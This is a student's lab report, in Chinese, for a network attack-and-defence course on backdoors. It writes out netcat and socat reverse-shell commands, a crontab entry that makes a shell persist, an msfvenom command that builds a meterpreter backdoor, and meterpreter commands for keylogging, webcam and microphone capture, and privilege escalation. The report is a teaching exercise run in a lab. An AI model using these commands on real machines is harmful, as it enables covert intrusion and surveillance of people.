20155208徐子涵《网络对抗》Exp2 后门原理与实践
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:当我们在非官方网站上下载软件时,后门极有可能会进入我们的系统,或者我们的电脑插入陌生可疑的U盘时,也有可能会让某些后门乘虚而入。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:可能会通过反弹和windows计划任务(这个是看老师的实验指导后知道的)。
(3)Meterpreter有哪些给你印像深刻的功能?
答: 我觉得让我印象最深刻的是操纵对方的摄像头进行拍照和录像(但是我的虚拟机里没有摄像头驱动,没有成功实现)。
(4)如何发现自己有系统有没有被安装后门?
我觉得可以通过查看后台进程,看看有没有可疑的进程。
实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
Linux获得Windows Shell
首先通过ipconfig指令获取windows主机IP
然后使用nc指令监听5208端口:
nc -l -p 5208
在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5208端口:
连接成功如下,可以运行指令
一、使用netcat获取主机操作Shell,cron启动
cron:
cron是一个linux下 的定时执行工具 ,可以在无需人工干预的情况下运行作业。
crontab -u //设定某个用户的cron服务,一般root 用户在执行 这个命令的时候需要此参数
crontab -l //列出某个用户cron服务的详细内容
crontab -r //删除 没个用户的cron服务
crontab -e //编辑某个用户的cron服务
在windows上打开cmd,并通过ncat开放端口5208
在linux上反弹连接win:
nc 192.168.88.130 5208 -e /bin/sh
在Kali环境下,使用
man
crontab
指令查看crontab
命令的帮助文档,从文档中我们可以知道crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。用
crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行在最后一行添加
55 * * * * /bin/netcat 192.168.88.130 5208 -e /bin/sh
,意思是在每个小时的第37分钟反向连接Windows主机的5208端口,设置成37的原因是我当时的时间是20点53,为了能立马看到效果,所以我将时间设置在了两分钟以后:当时间到了20点55时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了55分时会立马显示出来):
使用socat获取主机操作Shell, 任务计划启动
下载安装socat软件
- 为其配置环境变量
在windows上开放5208端口,并把cmd的stderr重定向到stdout
socat tcp-listen:5208 exec:cmd,pty,stderr
在linux开启监听:socat - tcp:192.168.88.130:5208成功连接到kali虚拟机如图:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.130 LPORT=5208 -f exe > 20155208_backdoor.exe
生成后门程序如图:
通过
nc
指令将生成的后门程序传送到Windows主机上在Kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload
,设置反弹回连的IP和端口:设置完成后,执行监听:
然后打开Windows上的后门程序
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令可以截获一段音频:
使用webcam_snap指令可以使用摄像头进行拍照
使用webcam stream指令可以使用摄像头进行录像
(由于我的虚拟机中没有摄像头的驱动,故没有完成这一环节的操作,非常遗憾。)使用screenshot指令可以进行截屏:
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
先使用getuid指令查看当前用户,使用getsystem指令进行提权
实验过程中遇到的问题及解决
问题: 使用socat的时候连接不成功。
解决方式: 出现这一问题的原因是在设置管理工具中的触发器时出现了错误。
实验心得总结
经过了这次实验,让我对后门的概念有了一定的理解,也让我对网络攻防产生了更大的兴趣,从另一方面看,我们在日常使用计算机的时候,也要时刻注意不能让后门程序乘虚而入,时刻关注自己的计算机安全。